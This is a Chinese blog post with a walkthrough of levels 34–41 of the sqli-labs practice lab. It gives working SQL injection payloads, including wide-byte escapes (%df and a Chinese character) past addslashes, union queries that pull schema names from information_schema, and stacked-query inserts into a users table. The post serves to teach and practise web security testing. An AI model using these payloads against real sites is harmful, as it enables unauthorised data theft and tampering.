• 博客园logo
  • 会员
  • 周边
  • 新闻
  • 博问
  • 闪存
  • 众包
  • 赞助商
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
shycom
博客园    首页    新随笔    联系   管理    订阅  订阅
sql-labs less34--less41
less 34 汉
addslashes() 函数返回在预定义的字符前添加反斜杠的字符串。
预定义字符是:
单引号(')
双引号(")
反斜杠(\)
NULL
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备合适的字符串。
注释:默认情况下,PHP 指令 magic_quotes_gpc 为 on,对所有的 GET、POST 和 COOKIE 数据自动运行addslashes()。不要对已经被 magic_quotes_gpc 转义过的字符串使用addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数get_magic_quotes_gpc()进行检
第三十三关发现了眼熟的反斜杠,于是我们再次利用之前讲到的%df,发现并没有效果,这里其实是因为%df是url编码,在这里我们可以通过汉字的方式去绕,和%df类似,一些汉字的编码为一个三个字节的编码,当代替%df时,可以将三个字节拆开来看,前两个为一个组,后面那个和\相编码为一个两字节绕过,从而单引号逃逸
判断是否存在注入:汉' or 1=1 -- qwe 判断字段数:汉'order by 2-- qwe 判断显错位 :汉'union select 1,2 -- qwe 判断库名:汉'union select 1,database() -- qwe 判断表名:汉'union select 1,table_name from information_schema.tables where table_schema=database() -- qwe 判断列名:汉'union select 1,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x656d61696c73 -- qwe 判断数据:汉'union select 1,id from emails-- qwe
 
0
汉'union select 1,database() -- qwe
0
汉'union select 1,table_name from
information_schema.tables where table_schema=database() -- q
0
 
less 35
还是‘ 转义 但这个题单纯迷惑你 用不着’ 数字型注入
?id=1 and 1=1
0
?id=1 and 1=2
0
?id=1 order by 4--+
0
?id=-1 union select 1,database(),version()--+
0
?id=-1 union select 1,database(),group_concat(table_name)from information_schema.tables where table_schema=0x7365637572697479--+
0
 
less 36
这一题其实跟前面的题目是差不多的,发现我们输入的引号被转义掉了,我们还是可以利用以前的方法绕过,区别是他们源码中利用到的函数不同。
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。 下列字符受影响: \x00 \n \r \ ' " \x1a 如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
/?id=1%df' order by 4--+
0
?id=-1%df' union select 1,database(),version()--+
0
/?id=-1%df' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+
0
less 37
判断是否存在注入:汉' or 1=1 -- qwe 判断字段数:汉'order by 2-- qwe 判断显错位 :汉'union select 1,2 -- qwe 判断库名:汉'union select 1,database() -- qwe 判断表名:汉'union select 1,table_name from information_schema.tables where table_schema=database() -- qwe 判断列名:汉'union select 1,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x656d61696c73 -- qwe 判断数据:汉'union select 1,id from emails-- qwe
汉' union select 1,2--+
0
汉' union select database(),version()--+
0
汉'union select 1,table_name from
information_schema.tables where table_schema=database() -- qwe
0
汉'union select 1,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x656d61696c73 -- q
0
less 38 堆叠注入
三十八关其实就是单引号闭合,使用正常单引号闭合就可以进行注入,不过这里可以有另外一种注入就是堆叠注入,因为存在mysqli_multi_query函数,该函数支持多条sql语句同时进行。 堆叠注入等于是可以插入一条新的SQL语句,可以进行增删改查。(以前不能增删改查是因为以前的在select语句中。而堆叠注入是可以插入一条全新的SQL语句)
1
?id=1' and '1'='1 正常
?id=1' and '1'='2 不正常
?id=1' order by 4--+
0
?id=-1' union select 1,database(),version()--+
0
2
mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。需要注意的是:多条用分号分隔的SQL语句中,只要有一条SQL语句执行失败,那么这一条SQL语句以及之后的SQL语句就不会执行。
只有当第一条SQL语句执行失败,那么multi_query()的返回值才为false。如果第一条SQL语句执行成功了,那么都会返回true。
堆叠注入等于是可以插入一条新的SQL语句,可以进行增删改查。(以前不能增删改查是因为以前的在select语句中。而堆叠注入是可以插入一条全新的SQL语句
语法:mysqli_multi_query(connection,query);
/?id=1' ;insert into users(id,username,password) values ('36','36','hello')--+
0
less 39
和上面一样 不过是前面引号发生变化
0
?id=1
?id=1;insert into users(id,username,password) values ('66','66','hello')--+
0
 
less 40
和上面一样
0
可知 为堆叠注入 1')
?id=1');insert into users(id,username,password) values ('666','666','hahahahahaha')--+
0
 
less 41
和上面一样
可知 为堆叠注入 整数型
0
?id=1;insert into users(id,username,password) values ('88','hd','hahahahahaha......')--+
0
 
 
posted on 2022-10-04 14:53  gushy  阅读(116)  评论(0)    收藏  举报
刷新页面返回顶部
博客园  ©  2004-2025
浙公网安备 33010602011771号 浙ICP备2021040463号-3